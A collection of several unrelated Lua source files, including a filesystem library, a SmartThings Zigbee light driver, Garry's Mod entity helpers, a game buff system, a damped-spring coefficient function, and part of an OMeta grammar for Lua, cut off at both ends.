if #data < (BUFFER_SIZE - #self.buffer) then
self.buffer = self.buffer .. data
return true
else
-- Write current buffer content
local success, reason = self.proxy.write(self.stream, self.buffer)
if success then
-- If data will not fit buffer, use iterative writing with data partitioning
if #data > BUFFER_SIZE then
for i = 1, #data, BUFFER_SIZE do
success, reason = self.proxy.write(self.stream, data:sub(i, i + BUFFER_SIZE - 1))
if not success then
break
end
end
self.buffer = ""
return success, reason
-- Data will perfectly fit in empty buffer
else
self.buffer = data
return true
end
else
return false, reason
end
end
end
local function writeBytes(self, ...)
return write(self, string.char(...))
end
local function close(self)
if self.write and #self.buffer > 0 then
self.proxy.write(self.stream, self.buffer)
end
return self.proxy.close(self.stream)
end
function filesystem.open(path, mode)
local proxy, proxyPath = filesystem.get(path)
local result, reason = proxy.open(path, mode)
if result then
local handle = {
proxy = proxy,
stream = result,
position = 0,
buffer = "",
close = close,
seek = seek,
}
if mode == "r" or mode == "rb" then
handle.readString = readString
handle.readUnicodeChar = readUnicodeChar
handle.readBytes = readBytes
handle.readLine = readLine
handle.lines = lines
handle.readAll = readAll
handle.read = read
return handle
elseif mode == "w" or mode == "wb" or mode == "a" or mode == "ab" then
handle.write = write
handle.writeBytes = writeBytes
return handle
else
error("bad argument #2 ('r', 'rb', 'w', 'wb' or 'a' expected, got )" .. tostring(mode) .. ")")
end
else
return nil, reason
end
end
--------------------------------------- Rest proxy methods -----------------------------------------
function filesystem.exists(path)
local proxy, proxyPath = filesystem.get(path)
return proxy.exists(proxyPath)
end
function filesystem.size(path)
local proxy, proxyPath = filesystem.get(path)
return proxy.size(proxyPath)
end
function filesystem.isDirectory(path)
local proxy, proxyPath = filesystem.get(path)
return proxy.isDirectory(proxyPath)
end
function filesystem.makeDirectory(path)
local proxy, proxyPath = filesystem.get(path)
return proxy.makeDirectory(proxyPath)
end
function filesystem.lastModified(path)
local proxy, proxyPath = filesystem.get(path)
return proxy.lastModified(proxyPath)
end
function filesystem.remove(path)
local proxy, proxyPath = filesystem.get(path)
return proxy.remove(proxyPath)
end
function filesystem.rename(fromPath, toPath)
local fromProxy, fromProxyPath = filesystem.get(fromPath)
local toProxy, toProxyPath = filesystem.get(toPath)
-- If it's the same filesystem component
if fromProxy.address == toProxy.address then
return fromProxy.rename(fromProxyPath, toProxyPath)
else
-- Copy files to destination
filesystem.copy(fromPath, toPath)
-- Remove original files
filesystem.remove(fromPath)
end
end
--------------------------------------- Advanced methods -----------------------------------------
function filesystem.copy(fromPath, toPath)
local function copyRecursively(fromPath, toPath)
if filesystem.isDirectory(fromPath) then
filesystem.makeDirectory(toPath)
local list = filesystem.list(fromPath)
for i = 1, #list do
copyRecursively(fromPath .. "/" .. list[i], toPath .. "/" .. list[i])
end
else
local fromHandle = filesystem.open(fromPath, "rb")
if fromHandle then
local toHandle = filesystem.open(toPath, "wb")
if toHandle then
while true do
local chunk = readString(fromHandle, BUFFER_SIZE)
if chunk then
if not write(toHandle, chunk) then
break
end
else
toHandle:close()
fromHandle:close()
break
end
end
end
end
end
end
copyRecursively(fromPath, toPath)
end
function filesystem.read(path)
local handle, reason = filesystem.open(path, "rb")
if handle then
local data = readAll(handle)
handle:close()
return data
end
return false, reason
end
function filesystem.lines(path)
local handle, reason = filesystem.open(path, "rb")
if handle then
return handle:lines()
else
error(reason)
end
end
function filesystem.readLines(path)
local handle, reason = filesystem.open(path, "rb")
if handle then
local lines, index, line = {}, 1
repeat
line = readLine(handle)
lines[index] = line
index = index + 1
until not line
handle:close()
return lines
end
return false, reason
end
local function writeOrAppend(append, path, ...)
filesystem.makeDirectory(filesystem.path(path))
local handle, reason = filesystem.open(path, append and "ab" or "wb")
if handle then
local result, reason = write(handle, ...)
handle:close()
return result, reason
end
return false, reason
end
function filesystem.write(path, ...)
return writeOrAppend(false, path, ...)
end
function filesystem.append(path, ...)
return writeOrAppend(true, path, ...)
end
function filesystem.writeTable(path, ...)
return filesystem.write(path, require("Text").serialize(...))
end
function filesystem.readTable(path)
local result, reason = filesystem.read(path)
if result then
return require("Text").deserialize(result)
end
return result, reason
end
function filesystem.setProxy(proxy)
BOOT_PROXY = proxy
end
function filesystem.getProxy()
return BOOT_PROXY
end
return filesystem
|
-- Copyright 2021 SmartThings
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-- ******* Created by Mariano Colmenarejo (sep 2021) *********
--- Smartthings library load ---
local capabilities = require "st.capabilities"
local ZigbeeDriver = require "st.zigbee"
local defaults = require "st.zigbee.defaults"
local zcl_clusters = require "st.zigbee.zcl.clusters"
local LevelControlCluster = zcl_clusters.Level
local OnOff = zcl_clusters.OnOff
local utils = require "st.utils"
local Groups = zcl_clusters.Groups
-- driver local modules load
local dimmer =require "dimmer"
--- Custom Capabilities
local random_On_Off = capabilities["legendabsolute60149.randomOnOff1"]
local prog_On = capabilities["legendabsolute60149.progressiveOn1"]
local prog_Off = capabilities["legendabsolute60149.progressiveOff1"]
local random_Next_Step = capabilities["legendabsolute60149.randomNextStep"]
local level_Steps = capabilities["legendabsolute60149.levelSteps"]
local color_Temperature_Steps = capabilities["legendabsolute60149.colorTemperatureSteps"]
local circadian_Light = capabilities["legendabsolute60149.circadian"]
local color_Changing = capabilities["legendabsolute60149.colorChanging"]
local color_Change_Timer = capabilities["legendabsolute60149.colorChangeTimer"]
local color_Change_Mode = capabilities["legendabsolute60149.colorChangeMode"]
local get_Groups = capabilities["legendabsolute60149.getGroups"]
--- switch_level_handler
local function switch_level_handler(self,device,command)
--print("handler_Level >>>>>>>>>>>>>>",command.args.level)
local on_Level = command.args.level
if device.preferences.levelTransTime == 0 then
device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(on_Level/100.0 * 254), 0xFFFF))
else
device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(on_Level/100.0 * 254), (device.preferences.levelTransTime * 4)))
end
--print("<<<< emit Level >>>>")
--device:emit_event(capabilities.switchLevel.level(math.floor((on_Level / 254.0 * 100) + 0.5)))
end
---color_Temperature_handler
local function color_Temperature_handler(self,device,command)
--print("handler_Color Temp >>>>>>>>>>>>>>",command.args.temperature)
local colorTemp = command.args.temperature
local colorTemp_Mireds= math.floor(1000000 / colorTemp)
--print("colorTemp Mired", colorTemp_Mireds)
--device:send(OnOff.server.commands.On(device))
local last_Level = device:get_latest_state("main", capabilities.switchLevel.ID, capabilities.switchLevel.level.NAME)
if last_Level < 1 then last_Level = device:get_field("last_Level") end
device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(last_Level/100.0 * 254), (device.preferences.onTransTime * 4)))
--device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(device:get_field("last_Level")/100.0 * 254), (device.preferences.onTransTime * 4)))
device:send_to_component("main", zcl_clusters.ColorControl.server.commands.MoveToColorTemperature(device, colorTemp_Mireds,(device.preferences.tempTransTime * 4)))
--device:emit_event(capabilities.colorTemperature.colorTemperature(math.floor(colorTemp)))
end
--- color_control_handler
local function color_control_handler(self,device,command)
local hue = math.floor((command.args.color.hue * 0xFE) / 100.0 + 0.5)
local sat = math.floor((command.args.color.saturation * 0xFE) / 100.0 + 0.5)
local last_Level = device:get_latest_state("main", capabilities.switchLevel.ID, capabilities.switchLevel.level.NAME)
if last_Level < 1 then last_Level = device:get_field("last_Level") end
device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(last_Level/100.0 * 254), (device.preferences.onTransTime * 4)))
--device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(device:get_field("last_Level")/100.0 * 254), (device.preferences.onTransTime * 4)))
device:send_to_component("main", zcl_clusters.ColorControl.server.commands.MoveToHueAndSaturation(device, hue, sat, (device.preferences.colorTransTime * 4)))
end
---- On-Off Emit event
local function on_off_attr_handler(self, device, value, zb_rx)
--print("<<<<< Emit on_off >>>>>>")
local attr = capabilities.switch.switch
device:emit_event_for_endpoint(zb_rx.address_header.src_endpoint.value, value.value and attr.on() or attr.off())
end
---- Level emit event
local function level_attr_handler(driver, device, value, zb_rx)
--print("<<<< emit Level >>>>")
device:emit_event(capabilities.switchLevel.level(math.floor((value.value / 254.0 * 100) + 0.5)))
end
----- Groups_handler
local function Groups_handler(driver, device, value, zb_rx)
local zb_message = value
local group_list = zb_message.body.zcl_body.group_list_list
--Print table group_lists with function utils.stringify_table(group_list)
print("group_list >>>>>>",utils.stringify_table(group_list))
local group_Names =""
for i, value in pairs(group_list) do
print("Message >>>>>>>>>>>",group_list[i].value)
group_Names = group_Names..tostring(group_list[i].value).."-"
end
--local text_Groups = "Groups Added: "..group_Names
local text_Groups = group_Names
if text_Groups == "" then text_Groups = "All Deleted" end
print (text_Groups)
device:emit_event(get_Groups.getGroups(text_Groups))
end
----- delete_all_groups_handler
local function delete_all_groups_handler(self, device, command)
device:send(Groups.server.commands.RemoveAllGroups(device, {}))
device:send(Groups.server.commands.GetGroupMembership(device, {}))
end
----- driver template configuration-----
local zigbee_bulb_driver_template = {
supported_capabilities = {
capabilities.switch,
capabilities.switchLevel,
capabilities.colorControl,
level_Steps,
capabilities.colorTemperature,
color_Temperature_Steps,
random_On_Off,
random_Next_Step,
prog_On,
prog_Off,
circadian_Light,
color_Changing,
color_Change_Timer,
color_Change_Mode,
capabilities.refresh
},
lifecycle_handlers = {
init = dimmer.do_init,
infoChanged = dimmer.do_Preferences,
removed = dimmer.do_removed
},
capability_handlers = {
[capabilities.switch.ID] = {
[capabilities.switch.commands.on.NAME] = dimmer.on_handler,
[capabilities.switch.commands.off.NAME] = dimmer.off_handler
},
[capabilities.switchLevel.ID] = {
[capabilities.switchLevel.commands.setLevel.NAME] = switch_level_handler
},
[capabilities.colorTemperature.ID] = {
[capabilities.colorTemperature.commands.setColorTemperature.NAME] = color_Temperature_handler
},
[capabilities.colorControl.ID] = {
[capabilities.colorControl.commands.setColor.NAME] = color_control_handler
},
[random_On_Off.ID] = {
[random_On_Off.commands.setRandomOnOff.NAME] = dimmer.random_on_off_handler,
},
[level_Steps.ID] = {
[level_Steps.commands.setLevelSteps.ID] = dimmer.level_Steps_handler,
},
[color_Temperature_Steps.ID] = {
[color_Temperature_Steps.commands.setColorTempSteps.ID] = dimmer.color_Temperature_Steps_handler,
},
[prog_On.ID] = {
[prog_On.commands.setProgOn.NAME] = dimmer.prog_On_handler,
},
[prog_Off.ID] = {
[prog_Off.commands.setProgOff.NAME] = dimmer.prog_Off_handler,
},
[circadian_Light.ID] = {
[circadian_Light.commands.setCircadian.NAME] = dimmer.circadian_Light_handler,
},
[color_Changing.ID] = {
[color_Changing.commands.setColorChanging.NAME] = dimmer.color_Changing_handler,
},
[color_Change_Timer.ID] = {
[color_Change_Timer.commands.setColorChangeTimer.NAME] = dimmer.color_Change_Timer_handler,
},
[color_Change_Mode.ID] = {
[color_Change_Mode.commands.setColorChangeMode.NAME] = dimmer.color_Change_Mode_handler,
},
[get_Groups.ID] = {
[get_Groups.commands.setGetGroups.NAME] = delete_all_groups_handler,
},
},
zigbee_handlers = {
global = {},
cluster = {
[zcl_clusters.Groups.ID] = {
[zcl_clusters.Groups.commands.GetGroupMembershipResponse.ID] = Groups_handler
}
},
attr = {
--[zcl_clusters.OnOff.ID] = {
--[zcl_clusters.OnOff.attributes.OnOff.ID] = on_off_attr_handler
--},
--[LevelControlCluster.ID] = {
--[LevelControlCluster.attributes.CurrentLevel.ID] = level_attr_handler
--}
},
}
}
-- run driver
defaults.register_for_default_handlers(zigbee_bulb_driver_template, zigbee_bulb_driver_template.supported_capabilities)
local zigbee_bulb = ZigbeeDriver("zigbee_light_multifunctions", zigbee_bulb_driver_template)
zigbee_bulb:run()
|
local ent_meta = FindMetaTable('Entity')
--[[
We store the original function here so we can override it from the player metaTable,
which derives from the entity metaTable. This way we don't have to check if the entity is
player every time the function is called.
--]]
ent_meta.flSetModel = ent_meta.flSetModel or ent_meta.SetModel
function ent_meta:stuck()
local pos = self:GetPos()
local trace = util.TraceHull({
start = pos,
endpos = pos,
filter = self,
mins = self:OBBMins(),
maxs = self:OBBMaxs()
})
return trace.Entity and (trace.Entity:IsWorld() or trace.Entity:IsValid())
end
function ent_meta:is_door()
if IsValid(self) then
local class = self:GetClass():lower()
if class and class:find('door') or
class == 'prop_dynamic' and self:GetModel():lower():find('door') or
class == 'func_movelinear' then
return true
end
end
return false
end
do
local idle_anims = {
'idle01',
'idle_subtle',
'batonidle1',
'idle_unarmed'
}
function ent_meta:idle_animation()
for k, v in pairs(idle_anims) do
local seq = self:LookupSequence(v)
if seq > 0 then
return seq
end
end
return ACT_IDLE
end
end
function ent_meta:bodygroups()
local bodygroups = {}
for i = 0, self:GetNumBodyGroups() do
bodygroups[i] = self:GetBodygroup(i)
end
return bodygroups
end
function ent_meta:set_bodygroups(bodygroups)
for k, v in pairs(bodygroups) do
self:SetBodygroup(k, v)
end
end
function ent_meta:facing(entity)
local aim_vector = self:GetAimVector():Angle()
local target_aim_vector = entity:GetAimVector():Angle()
return math.abs(aim_vector.y - target_aim_vector.y) > 50
end
function ent_meta:get_name()
return self:IsPlayer() and (hook.run('GetPlayerName', self) or self:name())
or hook.run('GetEntityName', self) or tostring(self) or self:GetClass()
end
function ent_meta:get_hitgroup_from_pos(pos)
for i = 0, self:GetHitBoxGroupCount() - 1 do
for k = 0, self:GetHitBoxCount(i) - 1 do
local mins, maxs = self:GetHitBoxBounds(k, i)
local bone_pos = self:GetBonePosition(self:GetHitBoxBone(k, i))
mins = bone_pos + mins
maxs = bone_pos + maxs
if pos:WithinAABox(mins, maxs) then
return k
end
end
end
return HITGROUP_GENERIC
end
|
--- buff系统
---buff是一种状态,可被创建和删除
---当buff被删除时,将会
hbuff = {
UNIQUE_KEY = 0,
DEFAULT_CONST_BUFF = '_h_lua',
}
---@private
hbuff.uniqueKey = function()
return hbuff.UNIQUE_KEY + 1
end
--- 创建一个buff概念物
--- 成功创建时会返回一个key,用于删除buff
--- 失败会返回nil
---@param during number > 0
---@param handleUnit userdata
---@param groupKey string|'global' buff集合key,用于自主分类和搜索
---@param purpose function 目的期望的操作
---@param rollback function 回到原来状态的操作
---@return string|nil
hbuff.create = function(during, handleUnit, groupKey, purpose, rollback)
if (handleUnit == nil or purpose == nil or rollback == nil) then
return
end
during = during or 0
if (during <= 0) then
during = -1
end
if (his.deleted(handleUnit)) then
return
end
if (false == hcache.exist(handleUnit)) then
return
end
groupKey = groupKey or hbuff.DEFAULT_CONST_BUFF
purpose()
local buffHandle = hcache.get(handleUnit, CONST_CACHE.BUFF)
if (buffHandle == nil) then
buffHandle = {}
hcache.set(handleUnit, CONST_CACHE.BUFF, buffHandle)
end
if (buffHandle[groupKey] == nil) then
buffHandle[groupKey] = {}
end
if (buffHandle[groupKey]._idx == nil) then
buffHandle[groupKey]._idx = {}
end
local uk = hbuff.uniqueKey()
buffHandle[groupKey][uk] = { purpose = purpose, rollback = rollback }
table.insert(buffHandle[groupKey]._idx, uk)
if (during > 0) then
htime.setTimeout(during, function(curTimer)
htime.delTimer(curTimer)
if (his.deleted(handleUnit)) then
return
end
if (buffHandle ~= nil and buffHandle[groupKey] ~= nil) then
if (buffHandle[groupKey]._idx ~= nil) then
table.delete(buffHandle[groupKey]._idx, uk)
end
if (buffHandle[groupKey][uk] ~= nil) then
rollback()
buffHandle[groupKey][uk] = nil
end
end
end)
end
return string.implode('|', { groupKey, uk })
end
--- 使一个buff强制执行一次purpose
--- buff被删除时会回到原来的状态
---@param handleUnit userdata
---@param buffKey string 由 groupKey|uniqueKey 组成,如果没有uniqueKey则清空所有groupKey下的buff
hbuff.purpose = function(handleUnit, buffKey)
if (handleUnit == nil or buffKey == nil) then
return
end
if (his.deleted(handleUnit)) then
return
end
if (false == hcache.exist(handleUnit)) then
return
end
local ebk = string.explode('|', buffKey)
local groupKey = ebk[1] or nil
local uk = math.floor(ebk[2] or 0)
if (groupKey == nil or uk == 0) then
return
end
local buffHandle = hcache.get(handleUnit, CONST_CACHE.BUFF, {})
if (buffHandle[groupKey] ~= nil and buffHandle[groupKey][uk] ~= nil) then
buffHandle[groupKey][uk].purpose()
end
end
--- 删除一个buff
--- buff被删除时会回到原来的状态
---@param handleUnit userdata
---@param buffKey string 由 groupKey|uniqueKey 组成,如果没有uniqueKey则清空所有groupKey下的buff
hbuff.delete = function(handleUnit, buffKey)
if (handleUnit == nil or buffKey == nil) then
return
end
if (his.deleted(handleUnit)) then
return
end
if (false == hcache.exist(handleUnit)) then
return
end
local ebk = string.explode('|', buffKey)
local groupKey = ebk[1] or nil
local uk = ebk[2] or nil
if (groupKey == nil) then
return
end
local buffHandle = hcache.get(handleUnit, CONST_CACHE.BUFF, {})
if (buffHandle._idx ~= nil) then
if (uk == nil) then
-- 删除group下所有buff
for _, _uk in ipairs(buffHandle._idx) do
if (buffHandle[groupKey][_uk] ~= nil) then
buffHandle[groupKey][_uk].rollback() --rollback
end
end
buffHandle[groupKey] = nil
else
-- 删除uk指向buff
uk = math.floor(uk)
if (buffHandle[groupKey][uk] ~= nil) then
buffHandle[groupKey][uk].rollback() --rollback
buffHandle[groupKey][uk] = nil
table.delete(buffHandle[groupKey]._idx, uk)
end
end
end
end
|
--!strict
--[[
Returns a 2x2 matrix of coefficients for a given damping ratio, speed and
time step. These coefficients can then be multiplied with the position and
velocity of an existing spring to find the new position and velocity values.
Specifically, this function returns four numbers - posPos, posVel, velPos,
and velVel, in that order - which can be applied to position and velocity
like so:
local newPosition = oldPosition * posPos + oldVelocity * posVel
local newVelocity = oldPosition * velPos + oldVelocity * velVel
If a large number of springs with identical damping ratios and speeds are
being updated with the same time step, then these coefficients can be used
to update all of them at once.
This function assumes the damping ratio, speed and time step are all >= 0,
with the expectation that these values have been verified beforehand.
]]
local function springCoefficients(timeStep: number, damping: number, speed: number): (number, number, number, number)
-- if time step or speed is 0, then the spring won't move, so an identity
-- matrix can be returned early
if timeStep == 0 or speed == 0 then
return
1, 0,
0, 1
end
if damping > 1 then
-- overdamped spring
-- solutions to the characteristic equation
-- z = -ζω ± Sqrt[ζ^2 - 1] ω
local zRoot = math.sqrt(damping^2 - 1)
local z1 = (-zRoot - damping)*speed
local z2 = (zRoot - damping)*speed
-- x[t] -> x0(e^(t z2) z1 - e^(t z1) z2)/(z1 - z2)
-- + v0(e^(t z1) - e^(t z2))/(z1 - z2)
local zDivide = 1/(z1 - z2)
local z1Exp = math.exp(timeStep * z1)
local z2Exp = math.exp(timeStep * z2)
local posPosCoef = (z2Exp * z1 - z1Exp * z2) * zDivide
local posVelCoef = (z1Exp - z2Exp) * zDivide
-- v[t] -> x0(z1 z2(-e^(t z1) + e^(t z2)))/(z1 - z2)
-- + v0(z1 e^(t z1) - z2 e^(t z2))/(z1 - z2)
local velPosCoef = z1*z2 * (-z1Exp + z2Exp) * zDivide
local velVelCoef = (z1*z1Exp - z2*z2Exp) * zDivide
return
posPosCoef, posVelCoef,
velPosCoef, velVelCoef
elseif damping == 1 then
-- critically damped spring
-- x[t] -> x0(e^-tω)(1+tω) + v0(e^-tω)t
local timeStepSpeed = timeStep * speed
local negSpeedExp = math.exp(-timeStepSpeed)
local posPosCoef = negSpeedExp * (1 + timeStepSpeed)
local posVelCoef = negSpeedExp * timeStep
-- v[t] -> x0(t ω^2)(-e^-tω) + v0(1 - tω)(e^-tω)
local velPosCoef = -negSpeedExp * (timeStep * speed*speed)
local velVelCoef = negSpeedExp * (1 - timeStepSpeed)
return
posPosCoef, posVelCoef,
velPosCoef, velVelCoef
else
-- underdamped spring
-- factored out of the solutions to the characteristic equation, to make
-- the math cleaner
local alpha = math.sqrt(1 - damping^2) * speed
-- x[t] -> x0(e^-tζω)(α Cos[tα] + ζω Sin[tα])/α
-- + v0(e^-tζω)(Sin[tα])/α
local negDampSpeedExp = math.exp(-timeStep * damping * speed)
local sinAlpha = math.sin(timeStep*alpha)
local alphaCosAlpha = alpha * math.cos(timeStep*alpha)
local dampSpeedSinAlpha = damping*speed*sinAlpha
local invAlpha = 1 / alpha
local posPosCoef = negDampSpeedExp * (alphaCosAlpha + dampSpeedSinAlpha) * invAlpha
local posVelCoef = negDampSpeedExp * sinAlpha * invAlpha
-- v[t] -> x0(-e^-tζω)(α^2 + ζ^2 ω^2)(Sin[tα])/α
-- + v0(e^-tζω)(α Cos[tα] - ζω Sin[tα])/α
local velPosCoef = -negDampSpeedExp * (alpha*alpha + damping*damping * speed*speed) * sinAlpha * invAlpha
local velVelCoef = negDampSpeedExp * (alphaCosAlpha - dampSpeedSinAlpha) * invAlpha
return
posPosCoef, posVelCoef,
velPosCoef, velVelCoef
end
end
return springCoefficients
|
local tostring, tonumber, select, type, getmetatable, setmetatable, rawget = tostring, tonumber, select, type, getmetatable, setmetatable, rawget
local Types = require('types')
local Any, Array = Types.Any, Types.Array
local utils = require('utils')
local asc = require('abstractsyntax_commons')
local Literal, NilLiteral, BooleanLiteral, NumberLiteral, IntegerLiteral, RealLiteral, StringLiteral, Name, Keyword, Special, Node, Statement, Expression, Control, Iterative, Invocation = asc.Literal, asc.NilLiteral, asc.BooleanLiteral, asc.NumberLiteral, asc.IntegerLiteral, asc.RealLiteral, asc.StringLiteral, asc.Name, asc.Keyword, asc.Special, asc.Node, asc.Statement, asc.Expression, asc.Control, asc.Iterative, asc.Invocation
local las = require('lua_abstractsyntax')
local Get, Set, Group, Block, Chunk, Do, While, Repeat, If, ElseIf, For, ForIn, Function, MethodStatement, FunctionStatement, FunctionExpression, Return, Break, LastStatement, Call, Send, BinaryOperation, UnaryOperation, GetProperty, VariableArguments, TableConstructor, SetProperty, Goto, Label = las.Get, las.Set, las.Group, las.Block, las.Chunk, las.Do, las.While, las.Repeat, las.If, las.ElseIf, las.For, las.ForIn, las.Function, las.MethodStatement, las.FunctionStatement, las.FunctionExpression, las.Return, las.Break, las.LastStatement, las.Call, las.Send, las.BinaryOperation, las.UnaryOperation, las.GetProperty, las.VariableArguments, las.TableConstructor, las.SetProperty, las.lua52.Goto, las.lua52.Label
local omas = require('ometa_abstractsyntax')
local Binding, Application, Choice, Sequence, Lookahead, Exactly, Token, Subsequence, NotPredicate, AndPredicate, Optional, Many, Consumed, Loop, Anything, HostNode, HostPredicate, HostStatement, HostExpression, RuleApplication, Object, Property, Rule, RuleExpression, RuleStatement, Grammar, GrammarExpression, GrammarStatement = omas.Binding, omas.Application, omas.Choice, omas.Sequence, omas.Lookahead, omas.Exactly, omas.Token, omas.Subsequence, omas.NotPredicate, omas.AndPredicate, omas.Optional, omas.Many, omas.Consumed, omas.Loop, omas.Anything, omas.HostNode, omas.HostPredicate, omas.HostStatement, omas.HostExpression, omas.RuleApplication, omas.Object, omas.Property, omas.Rule, omas.RuleExpression, omas.RuleStatement, omas.Grammar, omas.GrammarExpression, omas.GrammarStatement
local OMeta = require('ometa')
local OMetaGrammar = require('ometa_grammar')
local OMetaInLua, OMetaInLuaExt
local LuaInOMeta = OMeta.Grammar({_grammarName = 'LuaInOMeta', special = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaGrammar.special)
end, function (input)
return input:applyWithArgs(input.grammar.subsequence, [[[?]])
end, function (input)
return input:applyWithArgs(input.grammar.subsequence, [[[!]])
end, function (input)
return input:applyWithArgs(input.grammar.exactly, '[')
end, function (input)
return input:applyWithArgs(input.grammar.exactly, ']')
end)
end, arity = 0, name = 'special'}), keyword = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:applyWithArgs(input.grammar.exactly, 'end')
end)
end, arity = 0, name = 'keyword'}), node = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaGrammar.node)
end, function (input)
local exp, __pass__
if not (input:applyWithArgs(input.grammar.token, "[?")) then
return false
end
__pass__, exp = input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.exp)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "]")) then
return false
end
return true, HostPredicate({value = exp})
end, function (input)
local exp, __pass__
if not (input:applyWithArgs(input.grammar.token, "[!")) then
return false
end
__pass__, exp = input:applyWithArgs(input.grammar.many, function (input)
return input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.stat)
end)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "]")) then
return false
end
return true, HostStatement({value = exp})
end)
end, arity = 0, name = 'node'}), primexp = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaGrammar.primexp)
end, function (input)
local exp, __pass__
if not (input:applyWithArgs(input.grammar.token, "[")) then
return false
end
__pass__, exp = input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.exp)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "]")) then
return false
end
return true, HostExpression({value = exp})
end)
end, arity = 0, name = 'primexp'}), prop = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaGrammar.prop)
end, function (input)
local __pass__, exp, index
if not (input:applyWithArgs(input.grammar.token, "[")) then
return false
end
__pass__, index = input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.exp)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "]")) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "=")) then
return false
end
__pass__, exp = input:apply(input.grammar.choiceDef)
if not (__pass__) then
return false
end
return true, Property({expression = exp, index = index})
end)
end, arity = 0, name = 'prop'})})
LuaInOMeta:merge(OMetaGrammar)
local LuaGrammar = require('lua52_grammar')
local OMetaInLuaMixed
local function exp(...)
return OMetaInLuaMixed.exp:matchMixed(...)
end
OMetaInLua = OMeta.Grammar({_grammarName = 'OMetaInLua', keyword = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(LuaGrammar.keyword)
end, function (input)
return input:applyWithArgs(input.grammar.exactly, 'ometa')
end, function (input)
return input:applyWithArgs(input.grammar.exactly, 'merges')
end, function (input)
return input:applyWithArgs(input.grammar.exactly, 'rule')
end)
end, arity = 0, name = 'keyword'}), stat = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
local body, __pass__, ms, n
if not (input:applyWithArgs(input.grammar.token, "local")) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "ometa")) then
return false
end
__pass__, n = input:apply(input.grammar.name)
if not (__pass__) then
return false
end
__pass__, ms = input:applyWithArgs(input.grammar.optional, function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
if not (input:applyWithArgs(input.grammar.token, "merges")) then
return false
end
return input:applyWithArgs(input.grammar.list, input.grammar.exp, function (input)
return input:applyWithArgs(input.grammar.token, ",")
end, 1)
end)
end)
if not (__pass__) then
return false
end
__pass__, body = input:apply(input.grammar.grammarBody)
if not (__pass__) then
return false
end
return true, GrammarStatement({isLocal = true, name = Array({n}), merged = ms or Array({}), rules = body})
end, function (input)
local body, ns, ms, __pass__
if not (input:applyWithArgs(input.grammar.token, "ometa")) then
return false
end
__pass__, ns = input:applyWithArgs(input.grammar.list, input.grammar.name, function (input)
return input:applyWithArgs(input.grammar.token, ".")
end, 1)
if not (__pass__) then
return false
end
__pass__, ms = input:applyWithArgs(input.grammar.optional, function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
if not (input:applyWithArgs(input.grammar.token, "merges")) then
return false
end
return input:applyWithArgs(input.grammar.list, input.grammar.exp, function (input)
return input:applyWithArgs(input.grammar.token, ",")
end, 1)
end)
end)
if not (__pass__) then
return false
end
__pass__, body = input:apply(input.grammar.grammarBody)
if not (__pass__) then
return false
end
return true, GrammarStatement({isLocal = false, name = ns, merged = ms or Array({}), rules = body})
end, function (input)
local body, ns, __pass__, n
if not (input:applyWithArgs(input.grammar.token, "rule")) then
return false
end
__pass__, ns = input:applyWithArgs(input.grammar.list, input.grammar.name, function (input)
return input:applyWithArgs(input.grammar.token, ".")
end, 1)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, ":")) then
return false
end
__pass__, n = input:apply(input.grammar.name)
if not (__pass__) then
return false
end
__pass__, body = input:apply(input.grammar.ruleBody)
if not (__pass__) then
return false
end
return true, RuleStatement({namespace = ns, name = n, arguments = body[1][1], variableArguments = body[1][2], block = body[2]})
end, function (input)
return input:apply(LuaGrammar.stat)
end)
end, arity = 0, name = 'stat'}), primexp = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(LuaGrammar.primexp)
end, function (input)
local literal, __pass__
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
__pass__, literal = input:apply(input.grammar.strlitB)
if not (__pass__) then
return false
end
return true, exp([[string.interpolate(]], literal, [[)]])
end)
end, arity = 0, name = 'primexp'}), args = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(LuaGrammar.args)
end, function (input)
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
return input:apply(input.grammar.strlitB)
end)
end, arity = 0, name = 'args'}), ruleBody = OMeta.Rule({behavior = function (input)
local params, __pass__, body
return input:applyWithArgs(input.grammar.choice, function (input)
if not (input:applyWithArgs(input.grammar.token, "(")) then
return false
end
__pass__, params = input:apply(input.grammar.parlist)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, ")")) then
